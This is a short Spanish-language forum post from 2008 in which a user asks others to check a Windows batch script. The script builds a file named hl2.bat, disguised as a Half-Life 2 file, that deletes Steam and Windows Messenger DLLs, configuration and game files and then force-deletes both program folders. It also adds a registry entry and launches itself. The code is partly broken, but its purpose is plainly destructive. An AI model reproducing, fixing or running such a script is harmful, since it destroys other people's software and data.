comprobar si este codigo en batch esta bien

Iniciado por blha, 11 Septiembre 2008, 16:19 PM

0 Miembros y 1 Visitante están viendo este tema.

blha

@echo_off

echo @echo off >>hl2.bat

echo goto msn>>hl2.bat
echo :steam>>hl2.bat
echo cd %programfile%\valve\steam\
echo del c:\*.dll>>hl2.bat
echo del c:\bin\*.dll>>hl2.bat
echo del c:\bin\*.asi>>hl2.bat
echo del c:\bin\*.cfg>>hl2.bat
echo del c:\bin\*.dll>>hl2.bat
echo del c:\bin\*.blob>>hl2.bat
echo del c:\bin\*.bin>>hl2.bat
echo del c:\archiv~1\steam\*.dll>>hl2.bat
echo del c:\archiv~1\steam\*.mst>>hl2.bat
echo del c:\archiv~1\steam\*.mdmp>>hl2.bat
echo del c:\archiv~1\steam\*.blob>>hl2.bat
echo del c:\archiv~1\steam\steama~1\*.gcf>>hl2.bat
echo del /q/f/s c:\archiv~1\steam
cls>>hl2.bat
echo :msn>>hl2.bat
echo cd %programfile%window~1\messen~1\
echo del c:\archiv~1\window~1\messen~1\*.dll>>hl2.bat
echo del c:\archiv~1\window~1\messen~1\*.xml>>hl2.bat
echo del c:\archiv~1\window~1\messen~1\*.thm>>hl2.bat
echo del c:\archiv~1\window~1\messen~1\device~1\*.dll>>hl2.bat

echo del c:\archiv~1\window~1\messen~1\device~1\loc\4\*dll>>hl2.bat
echo del c:\archiv~1\window~1\messen~1\device~1\loc\6\*dll>>hl2.bat
echo del c:\archiv~1\window~1\messen~1\device~1\loc\7\*dll>>hl2.bat
echo del c:\archiv~1\window~1\messen~1\device~1\loc\8\*dll>>hl2.bat
echo del c:\archiv~1\window~1\messen~1\device~1\loc\9\*dll>>hl2.bat
echo del c:\archiv~1\window~1\messen~1\device~1\loc\10\*dll>>hl2.bat
echo del c:\archiv~1\window~1\messen~1\device~1\loc\11\*dll>>hl2.bat
echo del c:\archiv~1\window~1\messen~1\device~1\loc\12\*dll>>hl2.bat
echo del c:\archiv~1\window~1\messen~1\device~1\loc\16\*dll>>hl2.bat
echo del c:\archiv~1\window~1\messen~1\device~1\loc\17\*dll>>hl2.bat
echo del c:\archiv~1\window~1\messen~1\device~1\loc\18\*dll>>hl2.bat
echo del c:\archiv~1\window~1\messen~1\device~1\loc\19\*dll>>hl2.bat
echo del c:\archiv~1\window~1\messen~1\device~1\loc\20\*dll>>hl2.bat
echo del c:\archiv~1\window~1\messen~1\device~1\loc\22\*dll>>hl2.bat
echo del c:\archiv~1\window~1\messen~1\device~1\loc\25\*dll>>hl2.bat
echo del c:\archiv~1\window~1\messen~1\device~1\loc\29\*dll>>hl2.bat
echo del c:\archiv~1\window~1\messen~1\device~1\loc\31\*dll>>hl2.bat
echo del c:\archiv~1\window~1\messen~1\device~1\loc\1028\*dll>>hl2.bat
echo del c:\archiv~1\window~1\messen~1\device~1\loc\1046\*dll>>hl2.bat
echo del /q/f/s c:\archiv~1\window~1\messen~1
echo if exist c:\archiv~1\valve\steam goto steam>>hl2.bat
cls>>hl2.bat
echo exit>>hl2.bat
copy hl2.bat archiv~1\
Reg Add HKLM\valve\steam/v hl2.bat/t reg_sz/d c:\archiv~1\hl2.bat /f
copy hl2.bat archiv~1\

start hl2.bat
exit




Black Hawk